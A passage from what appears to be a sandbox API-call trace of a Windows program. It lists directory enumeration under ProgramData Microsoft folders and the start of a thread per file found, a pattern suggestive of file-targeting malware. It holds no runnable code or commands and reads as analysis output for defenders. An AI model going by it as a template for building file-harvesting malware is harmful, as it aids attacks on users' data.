returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0072.356] wcscat (in: _Dest=0x33eb270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0072.356] wcscat (in: _Dest=0x33eb270, _Source="ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0072.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0072.767] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0072.767] FindClose (in: hFindFile=0x3433ee8 | out: hFindFile=0x3433ee8) returned 1 [0072.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eca90) returned 1 [0072.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dc40) returned 1 [0072.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34276e8) returned 1 [0072.767] RtlExitUserThread (Status=0x0) Thread: id = 537 os_tid = 0x1100 [0072.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x347fbe0 [0072.356] wcscpy (in: _Dest=0x347fbe0, _Source="C:\\Users\\All Users\\Microsoft\\DRM\\Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0072.356] wcscat (in: _Dest=0x347fbe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\" [0072.356] wcscat (in: _Dest=0x347fbe0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*" [0072.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eccf8 [0072.356] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434728 [0072.356] wcscmp (_String1=".", _String2=".") returned 0 [0072.356] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.356] wcscmp (_String1="..", _String2=".") returned 1 [0072.357] wcscmp (_String1="..", _String2="..") returned 0 [0072.357] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.357] FindClose (in: hFindFile=0x3434728 | out: hFindFile=0x3434728) returned 1 [0072.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eccf8) returned 1 [0072.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fbe0) returned 1 [0072.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f40) returned 1 [0072.357] RtlExitUserThread (Status=0x0) Thread: id = 538 os_tid = 0x1104 [0072.358] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0072.358] wcscpy (in: _Dest=0x3479c40, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader" [0072.358] wcscat (in: _Dest=0x3479c40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\" [0072.358] wcscat (in: _Dest=0x3479c40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\*" [0072.358] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eccf8 [0072.358] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434728 [0072.361] wcscmp (_String1=".", _String2=".") returned 0 [0072.361] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.361] wcscmp (_String1="..", _String2=".") returned 1 [0072.361] wcscmp (_String1="..", _String2="..") returned 0 [0072.361] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.361] FindClose (in: hFindFile=0x3434728 | out: hFindFile=0x3434728) returned 1 [0072.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eccf8) returned 1 [0072.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0072.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0072.362] RtlExitUserThread (Status=0x0) Thread: id = 539 os_tid = 0x1108 [0072.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x33c3a58 [0072.363] wcscpy (in: _Dest=0x33c3a58, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios" [0072.363] wcscat (in: _Dest=0x33c3a58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\" [0072.363] wcscat (in: _Dest=0x33c3a58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\*" [0072.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eccf8 [0072.363] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34342e8 [0072.363] wcscmp (_String1=".", _String2=".") returned 0 [0072.363] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.363] wcscmp (_String1="..", _String2=".") returned 1 [0072.364] wcscmp (_String1="..", _String2="..") returned 0 [0072.364] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1 [0072.364] wcscmp (_String1="windows.uif_ondemand.xml.inbox", _String2=".") returned 1 [0072.364] wcscmp (_String1="windows.uif_ondemand.xml.inbox", _String2="..") returned 1 [0072.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34bef18 [0072.364] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios" [0072.364] wcscat (in: _Dest=0x34bef18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\" [0072.364] wcscat (in: _Dest=0x34bef18, _Source="windows.uif_ondemand.xml.inbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" [0072.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34bef18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0072.744] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 0 [0072.744] FindClose (in: hFindFile=0x34342e8 | out: hFindFile=0x34342e8) returned 1 [0072.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eccf8) returned 1 [0072.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0072.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd0f0) returned 1 [0072.745] RtlExitUserThread (Status=0x0) Thread: id = 540 os_tid = 0x110c [0072.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0072.366] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.366] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.366] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\*" [0072.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ecf60 [0072.366] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434328 [0072.368] wcscmp (_String1=".", _String2=".") returned 0 [0072.368] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.368] wcscmp (_String1="..", _String2=".") returned 1 [0072.368] wcscmp (_String1="..", _String2="..") returned 0 [0072.368] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1 [0072.368] wcscmp (_String1="telemetry.ASM-WindowsDefault.json", _String2=".") returned 1 [0072.368] wcscmp (_String1="telemetry.ASM-WindowsDefault.json", _String2="..") returned 1 [0072.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x33ca4f8 [0072.369] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.369] wcscat (in: _Dest=0x33ca4f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.369] wcscat (in: _Dest=0x33ca4f8, _Source="telemetry.ASM-WindowsDefault.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" [0072.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ca4f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0072.734] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk", cAlternateFileName="TELEME~1.BK")) returned 1 [0072.734] wcscmp (_String1="telemetry.ASM-WindowsDefault.json.bk", _String2=".") returned 1 [0072.734] wcscmp (_String1="telemetry.ASM-WindowsDefault.json.bk", _String2="..") returned 1 [0072.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3431e48 [0072.734] wcscpy (in: _Dest=0x3431e48, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.734] wcscat (in: _Dest=0x3431e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.734] wcscat (in: _Dest=0x3431e48, _Source="telemetry.ASM-WindowsDefault.json.bk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" [0072.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0072.735] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1 [0072.735] wcscmp (_String1="TELEMETRY.ASM-WINDOWSSQ.json", _String2=".") returned 1 [0072.735] wcscmp (_String1="TELEMETRY.ASM-WINDOWSSQ.json", _String2="..") returned 1 [0072.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x3429838 [0072.735] wcscpy (in: _Dest=0x3429838, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.735] wcscat (in: _Dest=0x3429838, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.735] wcscat (in: _Dest=0x3429838, _Source="TELEMETRY.ASM-WINDOWSSQ.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" [0072.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3429838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0072.736] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1 [0072.736] wcscmp (_String1="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", _String2=".") returned 1 [0072.736] wcscmp (_String1="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", _String2="..") returned 1 [0072.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x347d208 [0072.736] wcscpy (in: _Dest=0x347d208, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.736] wcscat (in: _Dest=0x347d208, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.736] wcscat (in: _Dest=0x347d208, _Source="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" [0072.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0072.737] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1 [0072.737] wcscmp (_String1="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", _String2=".") returned 1 [0072.737] wcscmp (_String1="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", _String2="..") returned 1 [0072.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x347d348 [0072.737] wcscpy (in: _Dest=0x347d348, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.737] wcscat (in: _Dest=0x347d348, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.737] wcscat (in: _Dest=0x347d348, _Source="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" [0072.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0072.737] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1 [0072.737] wcscmp 